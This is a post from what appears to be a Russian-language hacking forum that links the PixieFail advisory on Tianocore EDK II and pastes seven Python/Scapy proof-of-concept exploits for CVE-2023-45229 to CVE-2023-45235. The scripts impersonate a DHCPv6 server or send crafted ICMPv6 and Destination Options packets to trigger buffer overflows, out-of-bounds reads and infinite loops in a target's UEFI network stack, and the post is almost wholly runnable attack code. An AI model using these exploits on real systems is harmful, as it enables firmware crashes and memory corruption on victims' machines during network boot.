• XSS.stack #1 – первый литературный журнал от юзеров форума

PixieFail: Nine vulnerabilities in Tianocore's EDK II IPv6 network stack.

varwar

El Diff
Забанен
Регистрация
12.11.2020
Сообщения
1 383
Решения
5
Реакции
1 537
Пожалуйста, обратите внимание, что пользователь заблокирован
Статья: https://blog.quarkslab.com/pixiefai...-in-tianocores-edk-ii-ipv6-network-stack.html
ПоЦы:

Python:
import struct
import argparse

from scapy.packet import Raw
from scapy.layers.inet import UDP
from scapy.layers.inet6 import IPv6
from scapy.layers.dhcp6 import DHCP6, DHCP6_Solicit, DHCP6_Advertise, DHCP6OptServerId, DHCP6OptClientId, DHCP6OptIA_NA, DHCP6OptIAAddress, DHCP6_Request
from scapy.all import send, sniff


def send_advertise_integer_underflow(args, solicit_pkt):
    ip = IPv6(src=args.src, dst=args.target)
    udp = UDP(sport=solicit_pkt['UDP'].dport, dport=solicit_pkt['UDP'].sport)
    advertise = DHCP6_Advertise(trid=solicit_pkt['DHCP6_Solicit'].trid)
    preference = Raw(b'\x00\x07\x00\x01\xff')
    iana = DHCP6OptIA_NA(iaid=solicit_pkt['DHCP6OptIA_NA'].iaid, T1=solicit_pkt['DHCP6OptIA_NA'].T1, T2=solicit_pkt['DHCP6OptIA_NA'].T2, ianaopts=[DHCP6OptIAAddress(addr='fe80::a1:b2:c3:d4', preflft=0xffffffff, validlft=0xffffffff)], optlen=0xB)

    server_id = DHCP6OptServerId(duid=b'AAAABBBBCCCCDDDDEEEE')
    client_id = DHCP6OptClientId(duid=solicit_pkt['DHCP6OptClientId'].duid)
    pkt = ip/udp/advertise/preference/server_id/client_id/iana
    send(pkt, iface=args.interface)


def main(args):
    while True:
        print('Waiting for DHCPv6 packets...')
        rs = sniff(count=1, iface=args.interface, lfilter=lambda pkt: pkt.haslayer(DHCP6_Solicit) or pkt.haslayer(DHCP6_Request))[0]
        print('Received DHCPv6 message from {} to {}'.format(rs[IPv6].src, rs[IPv6].dst))
        rs.show()

        if rs[IPv6].src == args.target:
            if rs.haslayer(DHCP6_Solicit):
                print('Sending Advertise packet ...')
                send_advertise_integer_underflow(args, rs)
            else:
                print('Ignoring DHCP message')
        else:
            print('Ignoring request from address {}'.format(rs[IPv6].src))



if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Proof of concept for CVE-2023-45229.")
    parser.add_argument('--src', type=str, required=False, help='Source IPv6 address to use')
    parser.add_argument('--target', type=str, required=True, help='Target IPv6 address')
    parser.add_argument('--interface', type=str, required=True, help='Name of the network interface to use')
    args = parser.parse_args()

    main(args)
Python:
import struct
import argparse

from scapy.packet import Raw
from scapy.layers.inet import UDP
from scapy.layers.inet6 import IPv6
from scapy.layers.dhcp6 import DHCP6, DHCP6_Solicit, DHCP6_Advertise, DHCP6OptServerId, DHCP6OptClientId, DHCP6OptIA_NA, DHCP6OptStatusCode, DHCP6OptIAAddress, DHCP6OptDNSServers, DHCP6OptVendorClass, DHCP6OptBootFileUrl, DHCP6_Request, DHCP6_Reply, VENDOR_SPECIFIC_OPTION, DHCP6OptServerUnicast
from scapy.all import send, sniff

def send_advertise_long_server_id(args, solicit_pkt):
    ip = IPv6(src=args.src, dst=args.target)
    udp = UDP(sport=solicit_pkt['UDP'].dport, dport=solicit_pkt['UDP'].sport)
    advertise = DHCP6_Advertise(trid=solicit_pkt['DHCP6_Solicit'].trid)
    preference = Raw(b'\x00\x07\x00\x01\xff')

    bootfile_url = DHCP6OptBootFileUrl(optdata='tftp://[{}]/bug02poc'.format(args.src))
    boot_params =  Raw(b'\x00\x3c\x00\x06\x00\x041500')
    dns_servers = DHCP6OptDNSServers(dnsservers=[args.src])
    vendor_class = DHCP6OptVendorClass(enterprisenum=343, vcdata=b"\x00\x20PXEClient:Arch:00007:UNDI:003000")

    iana_short = DHCP6OptIA_NA(iaid=solicit_pkt['DHCP6OptIA_NA'].iaid, T1=solicit_pkt['DHCP6OptIA_NA'].T1, T2=solicit_pkt['DHCP6OptIA_NA'].T2, ianaopts=[DHCP6OptIAAddress(addr='fe80::a1:b2:c3:d4', preflft=0xffffffff, validlft=0xffffffff), DHCP6OptStatusCode(statuscode=0x00, statusmsg=b'AN IA_NA ADDRESS')])
    iana_proxy = DHCP6OptIA_NA(iaid=solicit_pkt['DHCP6OptIA_NA'].iaid, T1=solicit_pkt['DHCP6OptIA_NA'].T1, T2=solicit_pkt['DHCP6OptIA_NA'].T2, ianaopts=[DHCP6OptIAAddress(addr='fe80::a1:b2:c3:d5', preflft=0xffffffff, validlft=0xffffffff), DHCP6OptStatusCode(statuscode=0x00, statusmsg=b'THIS IS A PROXY')])

    server_id = DHCP6OptServerId(duid=b'SERVERID_FROM_ADVERTISE' + b'A' * 0x444, optlen=0xffff)
    client_id = DHCP6OptClientId(duid=solicit_pkt['DHCP6OptClientId'].duid)
    pkt = ip/udp/advertise/preference/bootfile_url/boot_params/dns_servers/vendor_class/client_id/iana_short/iana_proxy/server_id
    send(pkt, iface=args.interface)


def main(args):
    while True:
        print('Waiting for DHCPv6 packets...')
        rs = sniff(count=1, iface=args.interface, lfilter=lambda pkt: pkt.haslayer(DHCP6_Solicit) or pkt.haslayer(DHCP6_Request))[0]
        print('Received DHCPv6 message from {} to {}'.format(rs[IPv6].src, rs[IPv6].dst))
        rs.show()

        if rs[IPv6].src == args.target:
            if rs.haslayer(DHCP6_Solicit):
                print('Sending Advertise packet with a long Server ID ...')
                send_advertise_long_server_id(args, rs)
            else:
                print('Ignoring unsupported DHCP message')
        else:
            print('Ignoring request from address {}'.format(rs[IPv6].src))


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Proof of concept for CVE-2023-45230.")
    parser.add_argument('--src', type=str, required=False, help='Source IPv6 address to use')
    parser.add_argument('--target', type=str, required=True, help='Target IPv6 address')
    parser.add_argument('--interface', type=str, required=True, help='Name of the network interface to use')
    args = parser.parse_args()

    main(args)
Python:
import struct
import argparse
import time

from scapy.packet import Raw
from scapy.layers.inet import UDP
from scapy.layers.inet6 import *
from scapy.all import send, sniff

def send_redirect_bug_03_OOB_read(args):
    ip = IPv6(src=args.src, dst=args.target, hlim=255)
    redir = ICMPv6ND_Redirect(code=0, tgt=args.target, dst=args.target)
    fake_opt = Raw(b'\x69')

    pkt = ip/redir/fake_opt

    send(pkt)


def main(args):
    while True:
        print('Sending Redirect message and sleeping 30 seconds...')
        send_redirect_bug_03_OOB_read(args)
        time.sleep(30)



if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Proof of concept for CVE-2023-45231.")
    parser.add_argument('--src', type=str, required=False, help='Source IPv6 address to use')
    parser.add_argument('--target', type=str, required=True, help='Target IPv6 address')
    parser.add_argument('--interface', type=str, required=True, help='Name of the network interface to use')
    args = parser.parse_args()

    main(args)
Python:
import struct
import argparse
import time

from scapy.packet import Raw
from scapy.layers.inet import UDP
from scapy.layers.inet6 import *
from scapy.all import send, sniff


def send_packet_with_destination_option_header_bug_04(args):
    ip = IPv6(src=args.src, dst=args.target, nh=60)    # next header = IP6_DESTINATION
    # option_code 0x39 & Ip6OptionMask (0xC0) == 0 => unrecognized option, no action specified, we land in the 'default' clause
    # and the code is supposed to just skip it
    # length == 0x00 => we trigger the infinite loop
    crafted_option = Raw(b'\x39\x00')
    # next header = IP6_NO_NEXT_HEADER
    dest_opt = IPv6ExtHdrDestOpt(nh=59, autopad=0, options=[crafted_option])

    pkt = ip/dest_opt
    pkt.show2()

    send(pkt)


def main(args):
    while True:
        print('Sending packet with Destination Options header containing crafted unrecognized option and sleeping 30 seconds...')
        send_packet_with_destination_option_header_bug_04(args)
        time.sleep(30)



if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Proof of concept for CVE-2023-45232.")
    parser.add_argument('--src', type=str, required=False, help='Source IPv6 address to use')
    parser.add_argument('--target', type=str, required=True, help='Target IPv6 address')
    parser.add_argument('--interface', type=str, required=True, help='Name of the network interface to use')
    args = parser.parse_args()

    main(args)
Python:
import struct
import argparse
import time

from scapy.packet import Raw
from scapy.layers.inet import UDP
from scapy.layers.inet6 import *
from scapy.all import send, sniff

def send_packet_with_destination_option_header_bug_05(args):
    ip = IPv6(src=args.src, dst=args.target, nh=60)    # next header = IP6_DESTINATION
    # optlen 0xFE is the key to trigger the infinite loop
    # opdata is some junk, not relevant
    padn = PadN(optlen=0xFE, optdata=b'AAAABBBBDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD')
    # next header = IP6_NO_NEXT_HEADER
    dest_opt = IPv6ExtHdrDestOpt(nh=59, autopad=0, options=[padn])
    pkt = ip/dest_opt
    pkt.show2()

    send(pkt)


def main(args):
    while True:
        print('Sending packet with Destination Options header containing crafted PadN option and sleeping 30 seconds...')
        send_packet_with_destination_option_header_bug_05(args)
        time.sleep(30)



if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Proof of concept for CVE-2023-45233.")
    parser.add_argument('--src', type=str, required=False, help='Source IPv6 address to use')
    parser.add_argument('--target', type=str, required=True, help='Target IPv6 address')
    parser.add_argument('--interface', type=str, required=True, help='Name of the network interface to use')
    args = parser.parse_args()

    main(args)
Python:
import struct
import argparse

from scapy.packet import Raw
from scapy.layers.inet import UDP
from scapy.layers.inet6 import IPv6
from scapy.layers.dhcp6 import DHCP6_Solicit, DHCP6_Advertise, DHCP6OptServerId, DHCP6OptClientId, DHCP6OptIA_NA, DHCP6OptStatusCode, DHCP6OptIAAddress, DHCP6OptDNSServers, DHCP6OptVendorClass, DHCP6OptBootFileUrl, DHCP6_Request, DHCP6_Reply
from scapy.all import send, sniff

def send_advertise_short_dns_server(args, solicit_pkt):
    ip = IPv6(src=args.src, dst=args.target)
    udp = UDP(sport=solicit_pkt['UDP'].dport, dport=solicit_pkt['UDP'].sport)
    advertise = DHCP6_Advertise(trid=solicit_pkt['DHCP6_Solicit'].trid)
    preference = Raw(b'\x00\x07\x00\x01\xff')

    bootfile_url = DHCP6OptBootFileUrl(optdata='tftp://[{}]/bug06poc'.format(args.src))
    boot_params =  Raw(b'\x00\x3c\x00\x06\x00\x041500')
    # Notice that optlen is just 1 (should be 0x10, the size of an IPv6 address)
    # Every byte of the IPv6 address after the initial 0xFE is written past the pool buffer
    dns_servers = DHCP6OptDNSServers(dnsservers=["fe41:4141:4141:4141:4141:4141:4141:4141"], optlen=1)
    vendor_class = DHCP6OptVendorClass(enterprisenum=343, vcdata=b"\x00\x20PXEClient:Arch:00007:UNDI:003000")

    status_code = DHCP6OptStatusCode(statuscode=0x00, statusmsg=b'LOOKS LEGIT')
    iana = DHCP6OptIA_NA(iaid=solicit_pkt['DHCP6OptIA_NA'].iaid, T1=solicit_pkt['DHCP6OptIA_NA'].T1, T2=solicit_pkt['DHCP6OptIA_NA'].T2, ianaopts=[DHCP6OptIAAddress(addr='fe80::a1:b2:c3:d4', preflft=0xffffffff, validlft=0xffffffff), DHCP6OptStatusCode(statuscode=0x00, statusmsg=b'LOOKS LEGIT')])

    server_id = DHCP6OptServerId(duid=b'A SERVER')
    client_id = DHCP6OptClientId(duid=solicit_pkt['DHCP6OptClientId'].duid)
    pkt = ip/udp/advertise/preference/bootfile_url/boot_params/vendor_class/client_id/iana/server_id/dns_servers
    send(pkt, iface=args.interface)


def send_reply_legit(args, request_pkt):
    ip = IPv6(src=args.src, dst=args.target)
    udp = UDP(sport=request_pkt['UDP'].dport, dport=request_pkt['UDP'].sport)
    reply = DHCP6_Reply(trid=request_pkt['DHCP6_Request'].trid)

    iana = DHCP6OptIA_NA(iaid=request_pkt['DHCP6OptIA_NA'].iaid, T1=request_pkt['DHCP6OptIA_NA'].T1, T2=request_pkt['DHCP6OptIA_NA'].T2, ianaopts=[DHCP6OptIAAddress(addr='fe80::a1:b2:c3:d4', preflft=0xffffffff, validlft=0xffffffff)])

    server_id = DHCP6OptServerId(duid=b'A SERVER')
    client_id = DHCP6OptClientId(duid=request_pkt['DHCP6OptClientId'].duid)
    bootfile_url = DHCP6OptBootFileUrl(optdata='tftp://[{}]/bug06poc'.format(args.src))
    boot_params =  Raw(b'\x00\x3c\x00\x06\x00\x041500')
    dns_servers = DHCP6OptDNSServers(dnsservers=[args.src])
    vendor_class = DHCP6OptVendorClass(enterprisenum=343, vcdata=b"\x00\x20PXEClient:Arch:00007:UNDI:003000")
    
    pkt = ip/udp/reply/bootfile_url/boot_params/dns_servers/vendor_class/server_id/client_id/iana
    send(pkt, iface=args.interface)


def main(args):
    while True:
        print('Waiting for DHCPv6 packets...')
        rs = sniff(count=1, iface=args.interface, lfilter=lambda pkt: pkt.haslayer(DHCP6_Solicit) or pkt.haslayer(DHCP6_Request))[0]
        print('Received DHCPv6 message from {} to {}'.format(rs[IPv6].src, rs[IPv6].dst))
        rs.show()

        if rs[IPv6].src == args.target:
            if rs.haslayer(DHCP6_Solicit):
                print('Sending Advertise packet ...')
                send_advertise_short_dns_server(args, rs)
            elif rs.haslayer(DHCP6_Request):
                print('Sending Reply packet...')
                send_reply_legit(args, rs)
            else:
                print('Ignoring unsupported DHCP message')
        else:
            print('Ignoring request from address {}'.format(rs[IPv6].src))



if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Proof of concept for bug CVE-2023-45234.")
    parser.add_argument('--src', type=str, required=False, help='Source IPv6 address to use')
    parser.add_argument('--target', type=str, required=True, help='Target IPv6 address')
    parser.add_argument('--interface', type=str, required=True, help='Name of the network interface to use')
    args = parser.parse_args()

    main(args)
Python:
import struct
import argparse
import socket

from scapy.packet import Raw
from scapy.layers.inet import UDP
from scapy.layers.inet6 import IPv6
from scapy.layers.dhcp6 import DHCP6_Solicit, DHCP6_Advertise, DHCP6OptServerId, DHCP6OptClientId, DHCP6OptIA_NA, DHCP6OptStatusCode, DHCP6OptIAAddress, DHCP6OptDNSServers, DHCP6OptVendorClass, DHCP6OptBootFileUrl, DHCP6_Request, DHCP6_Reply
from scapy.all import *


def send_regular_advertise(args, solicit_pkt):
    ip = IPv6(src=args.src, dst=args.target)
    udp = UDP(sport=solicit_pkt['UDP'].dport, dport=solicit_pkt['UDP'].sport)
    advertise = DHCP6_Advertise(trid=solicit_pkt['DHCP6_Solicit'].trid)
    preference = Raw(b'\x00\x07\x00\x01\xff')

    dns_servers = DHCP6OptDNSServers(dnsservers=[args.src])

    iana = DHCP6OptIA_NA(iaid=solicit_pkt['DHCP6OptIA_NA'].iaid, T1=solicit_pkt['DHCP6OptIA_NA'].T1, T2=solicit_pkt['DHCP6OptIA_NA'].T2, ianaopts=[DHCP6OptIAAddress(addr='fe80::a1:b2:c3:d4', preflft=0xffffffff, validlft=0xffffffff), DHCP6OptStatusCode(statuscode=0x00, statusmsg=b'LOOKS LEGIT')])

    server_id = DHCP6OptServerId(duid=b'A' * 0x40)
    client_id = DHCP6OptClientId(duid=solicit_pkt['DHCP6OptClientId'].duid)
    pkt = ip/udp/advertise/preference/client_id/server_id/dns_servers/iana
    send(pkt, iface=args.interface)


def send_proxy_advertise(args, solicit_pkt):
    ip = IPv6(src=args.src, dst=args.target)
    udp = UDP(sport=solicit_pkt['UDP'].dport, dport=solicit_pkt['UDP'].sport)
    advertise = DHCP6_Advertise(trid=solicit_pkt['DHCP6_Solicit'].trid)
    preference = Raw(b'\x00\x07\x00\x01\xff')

    bootfile_url = DHCP6OptBootFileUrl(optdata='tftp://[{}]/bug07poc'.format(args.src))
    boot_params =  Raw(b'\x00\x3c\x00\x06\x00\x041500')
    dns_servers = DHCP6OptDNSServers(dnsservers=[args.src])
    vendor_class = DHCP6OptVendorClass(enterprisenum=343, vcdata=b"\x00\x20PXEClient:Arch:00007:UNDI:003000")

    # SERVER_ID longer than 0x400 triggers the pool buffer overflow
    server_id = DHCP6OptServerId(duid=b'A' * 0x444)
    client_id = DHCP6OptClientId(duid=solicit_pkt['DHCP6OptClientId'].duid)
    pkt = ip/udp/advertise/preference/bootfile_url/boot_params/vendor_class/client_id/server_id/dns_servers
    send(pkt, iface=args.interface)


def send_reply_legit(args, request_pkt):
    ip = IPv6(src=args.src, dst=args.target)
    udp = UDP(sport=request_pkt['UDP'].dport, dport=request_pkt['UDP'].sport)
    reply = DHCP6_Reply(trid=request_pkt['DHCP6_Request'].trid)

    iana = DHCP6OptIA_NA(iaid=request_pkt['DHCP6OptIA_NA'].iaid, T1=request_pkt['DHCP6OptIA_NA'].T1, T2=request_pkt['DHCP6OptIA_NA'].T2, ianaopts=[DHCP6OptIAAddress(addr='fe80::a1:b2:c3:d4', preflft=0xffffffff, validlft=0xffffffff)])

    server_id = DHCP6OptServerId(duid=b'A' * 0x40)
    client_id = DHCP6OptClientId(duid=request_pkt['DHCP6OptClientId'].duid)
    bootfile_url = DHCP6OptBootFileUrl(optdata='tftp://[{}]/bug07poc'.format(args.src))
    boot_params =  Raw(b'\x00\x3c\x00\x06\x00\x041500')
    dns_servers = DHCP6OptDNSServers(dnsservers=[args.src])
    vendor_class = DHCP6OptVendorClass(enterprisenum=343, vcdata=b"\x00\x20PXEClient:Arch:00007:UNDI:003000")
    
    pkt = ip/udp/reply/bootfile_url/boot_params/dns_servers/vendor_class/server_id/client_id/iana
    send(pkt, iface=args.interface)


def main(args):
    # Make scapy interpret packets from/to UDP port 4011 as DHCPv6
    bind_layers(UDP, DHCP6, sport=4011)
    bind_layers(UDP, DHCP6, dport=4011)
    # Little trick so the OS doesn't answer that UDP port 4011 is unreachable
    fake_sock = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
    fake_sock.bind(('', 4011))
    
    while True:
        print('Waiting for DHCPv6 packets...')
        rs = sniff(count=1, iface=args.interface, lfilter=lambda pkt: pkt.haslayer(IPv6) and (pkt.haslayer(DHCP6_Solicit) or pkt.haslayer(DHCP6_Request) or pkt.haslayer(UDP)))[0]
        print('Received DHCPv6 message from {} to {}'.format(rs[IPv6].src, rs[IPv6].dst))

        if rs[IPv6].src == args.target:
            rs.show()
            if rs.haslayer(DHCP6_Solicit):
                print('Sending Advertise packet ...')
                send_regular_advertise(args, rs)
                send_proxy_advertise(args, rs)
            elif rs.haslayer(DHCP6_Request):
                print('Sending Reply packet...')
                send_reply_legit(args, rs)
            elif rs.haslayer(UDP) and rs.getlayer(UDP).dport == 4011:
                print('Got the DHCPproxy request packet.')
            else:
                print('Ignoring unsupported DHCP message')
        else:
            print('Ignoring request from address {}'.format(rs[IPv6].src))



if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Proof of concept for CVE-2023-45235.")
    parser.add_argument('--src', type=str, required=False, help='Source IPv6 address to use')
    parser.add_argument('--target', type=str, required=True, help='Target IPv6 address')
    parser.add_argument('--interface', type=str, required=True, help='Name of the network interface to use')
    args = parser.parse_args()

    main(args)
 
Последнее редактирование:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх